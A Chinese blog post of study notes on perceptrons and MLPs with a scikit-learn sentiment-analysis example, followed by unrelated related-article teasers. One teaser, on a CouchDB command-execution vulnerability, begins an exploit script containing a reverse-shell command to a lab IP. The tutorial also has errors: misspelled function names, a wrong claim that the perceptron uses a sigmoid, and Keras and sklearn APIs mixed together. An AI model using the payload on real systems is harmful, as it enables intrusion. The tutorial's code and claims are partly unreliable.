深度学习MLP_实战演练使用感知机用于感情识别_keras
目录
- (1)why deep learning is game changing?
- (2)it all started with a neuron
- (3)Perceptron
- (4)Perceptron for Binary Classification
- (5)put it all together
- (6)multilayer Perceptron
- (7)backpropagation
- (8)实战演练-使用感知机用于感情识别
- 1. 数据集划分
- 2. 将文本转成vector
- 3.对数据集进行预处理fit/transform/fit_transform
- 4.创建模型并训练
- 5、评估模型
- (9)使用MLP来提升性能
link:https://towardsdatascience.com/multilayer-perceptron-explained-with-a-real-life-example-and-python-code-sentiment-analysis-cb408ee93141
(1)why deep learning is game changing?
传统的机器学习太依赖于模型,一般都需要有很多经验的专家来构建模型,而且机器学习的质量也很大程度上取决于数据集的质量和how well features encode the patterns in the data
深度学习算法使用人工神经网络作为主要的模型,好处就是不再需要专家来设计特征,神经网络自己学习数据中的characteristics
深度学习算法读入数据后,学习数据的patterns,学习如何用自己提取的特征来代表数据。之后组合数据集的特征,形成一个更加具体、更加高级的数据集表达形式。
深度学习侧重于使系统能够学习multiple levels of partern composition(组合)
(2)it all started with a neuron
1940 Warren McCulloch teamd up with Walter Pitts created neuron model
a piece of cake:
神经网络的首次应用是复制(replicated)了一个logic gate:
但是此时的神经网络没有办法像大脑一样学习,因为获得期望输出的前提是,魔性的参数要提前设置好
only a decade later, Frank Rosenblatt 创建了一个可以学习权重的模型:💥Perceptron💥
(3)Perceptron
Perception 最初是为了图像识别创造的,为了让模型具有人类的perception(感知),seeing and recognizing 图片的能力。
Perception模型核心就是neuron,主要不同就是输入被组合成一个加权和,如果这个加权和超过一个预设的阈值(threshold),神经网络就会被触发,得到一个输出。
(4)Perceptron for Binary Classification
Perceptron 用于二元分类问题的主要假设是数据是:linearly separable(线性可分):
神经网络的预测值:
f ( x ; w ) = s i g n ( ∑ i w i x i − T ) ∀ i = 1 , . . . , n f(x;w)=sign(\sum_i w_ix_i-T) \forall i=1,...,n f(x;w)=sign(i∑wixi−T)∀i=1,...,n
神经网络的真实值(label): y i y_i yi
如果预测正确率的话: y i ⋅ f ( x ; w ) > 0 y_i \cdot f(x;w)>0 yi⋅f(x;w)>0
所以目标函数被设计为:
优化目标就是 min D ( w , c ) \min D(w,c) minD(w,c)
和其他算法不同,这个目标函数不能求导,所以Perceptron使用 Stochastic Gradient Descent(随机梯度下降法)来最小化目标函数(如果数据集是线性可分的,就可以使用这个方法,并且在有限的steps内converge收敛)
对于足够小的正数 r r r,我们就能保证 L ( w 1 ) < L ( w ) L(w_1)<L(w) L(w1)<L(w)
Perceptron使用的激活函数是sigmoid function,这个函数把数值映射成一个0~1值:
之前总结过的sigmoid图:
- 非线性函数
- 值在0到1之间
- 它有助于网络更新或忘记数据。如果相乘结果为0,则认为该信息已被遗忘。类似地,如果值为1,则信息保持不变。
但是用的更多的是 Rectified Linear Unit (ReLU):
为什么更多使用ReLU?因为它可以使用随机梯度下降进行更好的优化,并且是尺度不变的,这意味着它的特征不受输入规模的影响。(没大搞懂)
(5)put it all together
神经网络输入数据,最初先随机设置权重,然后计算加权和,在通过激活函数ReLU,得到输出:
之后Perceptron使用随机梯度下降法,learn 权重,来最小化错误分类的点和决策边界(decision boundary)的距离,一旦收敛,数据集就会被线性超平面(linear hyperplane)分成两个区域
❌感知机不能表示XOR门(只有输入不同,返回1)
Minsky and Papert, in 1969 证明了这种只有一个神经元的Proceptron不能处理非线性数据,只能处理线性可分的数据
(6)multilayer Perceptron
多层感知器就是为了处理非线性可分问题的
多层感知器含有输入层、输出层、一个或者多个隐藏层
多层感知器和单层的一样将输入由最初随机的权重进行加权和再经过激活函数得到输出,但是不同的是,每个线性组合会传递给下一层:前向传播
但是只有秦香传播,就不能学习到能使得目标函数最小的权重,所以之后引入反向传播
(7)backpropagation
反向传播以最小化目标函数为goal,是的MLP能够迭代的调整神经网络的权重
⚡️反向传播的必要条件: 神经网络输入的加权和( ∑ i w i ⋅ x i \sum_i w_i \cdot x_i ∑iwi⋅xi)、激活函数(ReLU)必须是可微分的
在每次迭代iteration,当所有层的加权和都被前向传播之后,计算所有输入和输出对的Mean Squared Error(均方差) 的梯度,之后让第一个隐藏层的权重更新为这个梯度,这个过程将抑制持续,直到所有的输入输出对都收敛,意味着新的梯度不能改变收敛阈值。
其实还是有点没搞懂这个过程,我记得陈木头?这个博主讲的害挺清晰的,之后再看看
(8)实战演练-使用感知机用于感情识别
识别一句话到底是“好话”还是“坏话”
1. 数据集划分
使用train_test_split 函数
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=42)
- X和y:表示输入数据和对应的标签
- test_size:表示测试集所占的比例,这里设置为 0.1,表示测试集占原始数据集的 10%。
- random_state:表示随机数种子
- 数据集划分为什么要用到随机数:数据集的划分方式可能会影响到算法的性能和稳定性。如果数据集的划分方式不够随机,那么算法可能会偏向于某些特定的数据集,从而影响算法的准确性和泛化能力。
- 设置固定的随机数的好处:设置了随机数种子后,每次运行程序时都能得到相同的数据集划分,是因为函数使用了指定的随机数种子来生成随机数。这样,每次运行程序时生成的随机数都是相同的,从而保证了数据集的划分结果相同。如果我们将 random_state 设置为 None,那么每次运行程序时都会得到不同的数据集划分。
2. 将文本转成vector
使用Term Frequency — Inverse Document Frequency (TF-IDF):该方法将任何类型的文本编码为每个单词或术语在每个句子和整个文档中出现频率的统计数据。
from sklearn.feature_extraction.text import TfidfVectorizer
TfidfVectorizer(stop_words='english', lowercase=True, norm='l1')
# 删除英语停顿词,应用L1规范化
sklearn 是 Python 中一个流行的机器学习库,全名 scikit-learn。它提供了大量的分类、回归、聚类、降维和数据处理等算法,可以用于处理和分析数据,以帮助用户进行数据建模、预测和分类等任务。sklearn 基于 NumPy、SciPy 和 matplotlib,使用这些库的功能来提供高效的算法实现。
3.对数据集进行预处理fit/transform/fit_transform
参考链接:fit_transform,fit,transform区别和作用详解!!!!!!
TfidfTransformer举例
在较低的文本语料库中,一些词非常常见(例如,英文中的“the”,“a”,“is”),因此很少带有文档实际内容的有用信息。如果我们将单纯的计数数据直接喂给分类器,那些频繁出现的词会掩盖那些很少出现但是更有意义的词的频率。
- fit:求得训练集X的均值,方差,最大值,最小值,这些训练集X固有的属性。
- fit(raw_documents, y=None):根据训练集生成词典和逆文档词频 由fit方法计算的每个特征的权重存储在model的idf_属性中。
- transform:在fit的基础上,进行标准化,降维,归一化等操作(看具体用的是哪个工具,如PCA,StandardScaler等)。
- transform(raw_documents, copy=True):使用fit(或fit_transform)学习的词汇和文档频率(df),将文档转换为文档 - 词矩阵。返回稀疏矩阵,[n_samples, n_features],即,Tf-idf加权文档矩阵(Tf-idf-weighted document-term matrix)。
- fit_transform:fit_transform是fit和transform的组合,既包括了训练又包含了转换。fit_transform(trainData)对部分数据先拟合fit,找到该part的整体指标,如均值、方差、最大值最小值等等(根据具体转换的目的),然后对该trainData进行转换transform,从而实现数据的标准化、归一化等等。
- 必须先用fit_transform(trainData),之后再transform(testData)
from sklearn.preprocessing import StandardScaler
sc = StandardScaler()
sc.fit_tranform(X_train)
sc.tranform(X_test)
# 根据对之前部分trainData进行fit的整体指标,对剩余的数据(testData)使用同样的均值、方差、最大最小值等指标进行转换transform(testData),从而保证train、test处理方式相同。
4.创建模型并训练
from sklearn.linear_model import Perceptron
classifier = Perceptron(random_state=457)
classifier.fit(train_features, train_targets)
-
sklearn.linear_model.Perceptron:感知机模型
- class sklearn.linear_model.Perceptron(*, penalty=None, alpha=0.0001, l1_ratio=0.15, fit_intercept=True, max_iter=1000, tol=0.001, shuffle=True, verbose=0, eta0=1.0, n_jobs=None, random_state=0, early_stopping=False, validation_fraction=0.1, n_iter_no_change=5, class_weight=None, warm_start=False
-
model.fit函数:训练模型,返回loss和测量指标(history)
- model.fit(x, y, batch_size, epochs, verbose, validation_split, validation_data, validation_freq)
- callback=callbacks.EarlyStopping(monitor=‘loss’,min_delta=0.002,patience=0,mode=‘auto’,restore_best_weights=False)
- monitor:监视量,一般是loss。
- min_delta:监视量改变的最小值,如果监视量的改变绝对值比min_delta小,这次就不算监视量改善,具体是增大还是减小看mode
- patience:如发现监视量loss相比上一个epoch训练没有下降,则经过patience个epoch后停止训
- mode:在min模式训练,如果监视量停止下降则终止训练;在max模式下,如果监视量停止上升则停止训练。监视量使用acc时就要用max,使用loss时就要用min。
- restore_best_weights:是否把模型权重设为训练效果最好的epoch。如果为False,最终模型权重是最后一次训练的权重
- model.fit( )函数返回一个History的对象,即记录了loss和其他指标的数值随epoch变化的情况。
- model.fit(x, y, batch_size, epochs, verbose, validation_split, validation_data, validation_freq)
5、评估模型
predictions = classifier.predict(test_features)
score = np.round(metrics.accuarry_score(test_labels, predictions), 2)
- model.predict(X_test, batch_size=32,verbose=1)
- X_test:为即将要预测的测试集
- batch_size:为一次性输入多少张图片给网络进行训练,最后输入图片的总数为测试集的个数
- verbose:1代表显示进度条,0不显示进度条,默认为0
- 返回值:每个测试集的所预测的各个类别的概率
- 例子:
# 各个类别评估(X_test为10000个数据集) print("[INFO] evaluating network...") predictions = model.predict(X_test, batch_size=32) #显示每一个测试集各个类别的概率,这个值的shape为(10000,10) print(predictions) print(predictions.shape)
- model.predict(X_test, batch_size=32)的返回值为每个测试集预测的10个类别的概率
- metrics.accuarry_score:计算分类的准确率
- sklearn.metrics.accuracy_score(y_true, y_pred, normalize=True, sample_weight=None)
- normalize:默认值为True,返回正确分类的比例;如果为False,返回正确分类的样本数
- true:
- false:TP+TN
>>>import numpy as np >>>from sklearn.metrics import accuracy_score >>>y_pred = [0, 2, 1, 3] >>>y_true = [0, 1, 2, 3] >>>accuracy_score(y_true, y_pred) 0.5 >>>accuracy_score(y_true, y_pred, normalize=False) 2
完整代码:
(9)使用MLP来提升性能
- 激活函数:参数activation=’relu’
- 使用随机梯度下降算法:solver=’sgd’
- 学习率:learning_rate=’invscaling’这是啥啊
- 迭代次数:max_iter=20
代码:
使用的MLP是有3个隐藏层,每个隐藏层有两个节点
此时的性能并不好
当把num_neurons=5之后,性能就变好了
这就是调参!
相关文章:
![](https://img-blog.csdnimg.cn/direct/36cc9ab66fd441608bef17354f5c721a.png#pic_center)
深度学习MLP_实战演练使用感知机用于感情识别_keras
目录 (1)why deep learning is game changing?(2)it all started with a neuron(3)Perceptron(4)Perceptron for Binary Classification(5)put it all toget…...
![](https://img-blog.csdnimg.cn/direct/b439c2de2a6248e1a6e7eee66c84f543.png)
[ffmpeg系列 02] 音视频基本知识
一 视频 RGB: AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB… Y:明亮度, Luminance或luma, 灰阶图, UV:色度,Chrominance或Chroma。 YCbCr: Cb蓝色分量,Cr是红色分量。 取值范围ÿ…...
![](https://www.ngui.cc/images/no-images.jpg)
【ASP.NET Core 基础知识】--目录
介绍 1.1 什么是ASP.NET Core1.2 ASP.NET Core的优势1.3 ASP.NET Core的版本历史 环境设置 2.1 安装和配置.NET Core SDK2.2 使用IDE(Integrated Development Environment):Visual Studio Code / Visual Studio 项目结构 3.1 ASP.NET Core项…...
![](https://img-blog.csdnimg.cn/direct/bf95400f8d604aec8b4796fd3452590c.png)
java数据结构与算法刷题-----LeetCode509. 斐波那契数
java数据结构与算法刷题目录(剑指Offer、LeetCode、ACM)-----主目录-----持续更新(进不去说明我没写完):https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难,但它就是固定套路而已。其实动态规划只…...
![](https://www.ngui.cc/images/no-images.jpg)
vue3 element plus el-table封装(二)
上文是对el-table的基本封装,只能满足最简单的应用,本文主要是在上文的基础上增加slot插槽,并且对col插槽进行拓展,增加通用性 // BaseTable.vue <template><el-table><template v-for"name in tableSlots&…...
![](https://www.ngui.cc/images/no-images.jpg)
cnn lstm结合网络
目录 特征处理例子: cnn 5张图片一组,提取特征后,再给lstm,进时间序列分类。 特征处理例子: import torch# 假设 tensor 是形状为 15x64 的张量 tensor torch.arange(15 * 2).reshape(15, 2) # 生成顺序编号的张量&…...
![](https://img-blog.csdnimg.cn/direct/3401e499da404ff4a4b333fa167aaeef.png)
Ubuntu连接xshell
安装ssh服务器 sudo apt-get install openssh-server 重启ssh sudo service ssh restart 3.启动ssh服务 /etc/init.d/ssh start4.修改文件,允许远程登陆 sudo vi /etc/ssh/sshd_config PermitRootLogin prohibit-password #默认为禁止登录 PermitRootLogin y…...
![](https://img-blog.csdnimg.cn/direct/fa2a001a82b14336904dbaf007410ec8.png)
nginx安装和配置
目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...
![](https://img-blog.csdnimg.cn/img_convert/d5a7434260c1439aeb94a6e5457b72c0.png#pic_center)
【头歌实训】kafka-入门篇
文章目录 第1关:kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关:生产者 (Producer ) - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...
![](https://img-blog.csdnimg.cn/img_convert/2c671f61d6c16fecdecbde8eaedf0d65.png)
华为云创新中心,引领浙南的数字化腾飞
编辑:阿冒 设计:沐由 县域经济是我国国民经济的重要组成部分,是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中,县域经济扮演的角色也越来越重要。 毫无疑问,县域经济的良性发展,需要多方…...
![](https://img-blog.csdnimg.cn/direct/a618dd73c34f4964966bfa94fd3ca915.png)
240101-5步MacOS自带软件无损快速导出iPhone照片
硬件准备: iphone手机Mac电脑数据线 操作步骤: Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3:iphone与电脑提示“是否授权“? >>> “是“Step 4:左上角选择自己的设…...
![](https://img-blog.csdnimg.cn/direct/e12e7cd62426494885f45e1c8bd77eb9.png)
github鉴权失败
问题: 如上图所示 git push 时发生了报错,鉴权失败; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥,勾选repo栏,选择有效期,为密钥命…...
![](https://img-blog.csdnimg.cn/img_convert/bc5bb8a141b12da7157e7a35b5e02195.png)
2023湾区产城创新大会:培育数字化供应链金融新时代
2023年12月26日,由南方报业传媒集团指导,南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表,以新兴产业发展为议题,…...
![](https://img-blog.csdnimg.cn/direct/29f1a6b4764543d09bd5887b488e96c2.png)
多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测
多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...
![](https://img-blog.csdnimg.cn/direct/30910c6cbfb246fcbdf7056a9dc41832.png)
二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)
目录 一、二叉树的前序遍历 方法一:全局变量记录节点个数 方法二:传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一:全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...
![](https://img-blog.csdnimg.cn/119d35894f064034bdac7d15e4d99be2.png)
SQL之CASE WHEN用法详解
目录 一、简单CASE WHEN函数:二、CASE WHEN条件表达式函数三、常用场景 场景1:不同状态展示为不同的值场景2:统计不同状态下的值场景3:配合聚合函数做统计场景4:CASE WHEN中使用子查询场景5:经典行转列&am…...
![](https://img-blog.csdnimg.cn/direct/f350fb0075d94edab4bfc87ded5805c8.png)
Ubuntu 18.04搭建RISCV和QEMU环境
前言 因为公司项目代码需要在RISCV环境下测试,因为没有硬件实体,所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译,地址为:https://…...
![](https://img-blog.csdnimg.cn/img_convert/993ede3303eecb590788cd60fd90e8c7.jpeg)
立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法
近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...
![](https://img-blog.csdnimg.cn/img_convert/28e116dc92bdae993bd8d4f3ef3a6d09.jpeg)
Couchdb 任意命令执行漏洞(CVE-2017-12636)
一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...
![](https://img-blog.csdnimg.cn/img_convert/9c9dd5fb62cf009fdee1983504ff7ad9.png)
VectorWorks各版本安装指南
VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包(win11及以上系统需先点击“显示更多选项”)选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...
![](https://img-blog.csdnimg.cn/direct/607582f35c034401baf98ff9fa429ba7.png)
【MySQL】数据库中为什么使用B+树不用B树
🍎个人博客:个人主页 🏆个人专栏: 数 据 库 ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 B树的特点和应用场景: B树相对于B树的优势: 结论: 结语 我的其他博客 前言 在数据…...
![](https://img-blog.csdnimg.cn/direct/b63641331229470e81f97b4ae5c3cf1c.png)
微信小程序发送模板消息-详解【有图】
前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么,这只是前端的一个demo实现,建议大家在后端处理,前端具体实现:如下图 1.获取小程序Id和密钥 我们注册完微信小程序后,可以在开发设置中看到以下内容&a…...
![](https://img-blog.csdnimg.cn/direct/50a6dbfa2359400f9095d35d8fb6d2cd.png#pic_center)
Easy Rules规则引擎实战
文章目录 简介pom 规则抽象规则Rule基础规则BasicRule事实类Facts:map条件接口动作接口 四种规则定义方式注解方式RuleBuilder 链式Mvel和Spel表达式Yml配置 常用规则类DefaultRuleSpELRule(Spring的表达式注入) 组合规则UnitRuleGroup 规则引…...
![](https://img-blog.csdnimg.cn/img_convert/de2cdedcbd33484dacfb2b8516e65ab1.png)
听GPT 讲Rust源代码--library/alloc(2)
File: rust/library/alloc/src/vec/mod.rs 在Rust源代码中,rust/library/alloc/src/vec/mod.rs这个文件是Rust标准库中的Vec类型的实现文件。Vec是一个动态大小的数组类型,在内存中以连续的方式存储其元素。 具体来说,mod.rs文件中定义了以下…...
![](https://img-blog.csdnimg.cn/direct/1258ce347f324f0fbc30c6c625306981.png)
OSG读取和添加节点学习
之前加载了一个模型,代码是, osg::Group* root new osg::Group(); osg::Node* node new osg::Node(); node osgDB::readNodeFile("tree.osg"); root->addChild(node); root是指向osg::Group的指针; node是 osg:…...
![](https://www.ngui.cc/images/no-images.jpg)
计算机网络技术--念念
选择题: 1.只要遵循GNU通用公共许可证,任何人和机构都可以自由修改和再发布的操作系统是(Linux ) 2.在计算机网络的各种功能中,最基本的、为其他功能提供实现基础的是(实现数据通信 ) 3.计算机网络具有分布式处理功能,…...
![](https://img-blog.csdnimg.cn/direct/777da08484be4aae8b3d019a5f154724.png)
C#_var
文章目录 一、前言二、隐式类型的局部变量2.1 var和匿名类型2.2 批注 三、总结 一、前言 C#中有一个 var 类型,不管什么类型的变量,都可以用它接收,实属懒人最爱了。 我没有了解过它的底层,甚至没看过它的说明文档,也…...
![](https://img-blog.csdnimg.cn/58c018dccc124b28a2cd8e04f57d5904.png)
Linux---进程控制
一、进程创建 fork函数 在Linux中fork函数是非常重要的函数,它从已存在进程中创建一个新进程,原进程为父进程 fork函数的功能: 分配新的内存和内核数据结构给子进程将父进程部分数据结构内容拷贝至子进程添加子进程到系统的进程列表中fork返…...
![](https://img-blog.csdnimg.cn/direct/35a14ca7eed04c759fcbaebd39730cd9.gif#pic_center)
Java注解学习,一文掌握@Autowired 和 @Resource 注解区别
🏆作者简介,普修罗双战士,一直追求不断学习和成长,在技术的道路上持续探索和实践。 🏆多年互联网行业从业经验,历任核心研发工程师,项目技术负责人。 🎉欢迎 👍点赞✍评论…...
![](https://img-blog.csdnimg.cn/direct/c6b45e61dca54873b1d0d330dc6e7c41.png)
系列一、如何正确的获取Spring Cloud Alibaba Spring Cloud Spring Boot之间的版本对应关系
一、正确的获取Spring Cloud Alibaba & Spring Cloud & Spring Boot之间的版本对应关系 1.1、概述 Java发展日新月异,Spring Cloud Alibaba 、 Spring Cloud 、 Spring Boot在GitHub上的迭代也是异常的频繁,这也说明其社区很活跃,通…...
![](https://images2017.cnblogs.com/blog/1167150/201801/1167150-20180117232033490-424620393.png)
北京海淀财政局网站/苏州网站seo服务
vmware14 修改vmware默认存放位置 编辑-->首选项 系统安装 界面说明: Install or upgrade an existing system 安装或升级现有的系统 install system with basic video driver 安装过程中采用 基本的显卡驱动 Rescue installed system 进入系统修复模式 Boot fro…...
![](/images/no-images.jpg)
建国汽车网址大全/苏州seo快速优化
-----Java培训、Android培训、iOS培训、.Net培训、期待与您交流!----- 一、protocol简单使用 1>基本用途 1.可用来声明方法。 2.只要某个类遵守了这个协议,就相当于拥有这个协议中的所有方法声明。 3.只要父类遵守了这个协议,就相当于子类…...
![](https://img-blog.csdnimg.cn/1b3e3fc19f5f4837a6514769eabf4e10.png)
wordpress 动画特效/抖音关键词排名
制作茶和制作咖啡的流程,是相似的,把相似部分提取出来,作为模板。下次做其他类似的直接使用模板,这就是模板思维。思路很简单,直接看代码。 makefile文件。 Exe : Template.og -o Exe Template.o main.o : Template.c…...
![](https://img-blog.csdnimg.cn/img_convert/e5d0dde96debf004d113a4b4c2dcc8a9.png)
北京智能网站建设制作/广州seo代理
上一篇我们主要学习了一维数组的操作,现实场景中,一维数组往往无法满足需要,本关将学习略微复杂的多维数组。多维数组一维数组只有行,二维数组相比一维数组多了列这个维度,而三维数组则类似多个二维数组堆叠在一起&…...
![](/images/no-images.jpg)
c 手机网站开发工具/手机免费建站app
医生和程序员 哪个更好I received an interesting question from a reader recently. He wanted to know how you can tell if you’re making progress as a programmer.我最近收到一个读者的有趣问题。 他想知道如何判断您是否正在以程序员的身份取得进步。 It’s a great q…...
![](https://img-blog.csdnimg.cn/img_convert/38ac1e9650c4807d6dc223f135cbf56c.png)
做招聘网站价格/什么是百度快照
如果你平时工作比较忙碌,并且这种忙碌的工作会让你感觉到焦头烂额,那么在这种情况下,你就需要一些工具来辅助自己了。通常使用待办事项app是不少人的选择,那么作为一款好用的待办事项app,应该有什么功能呢?…...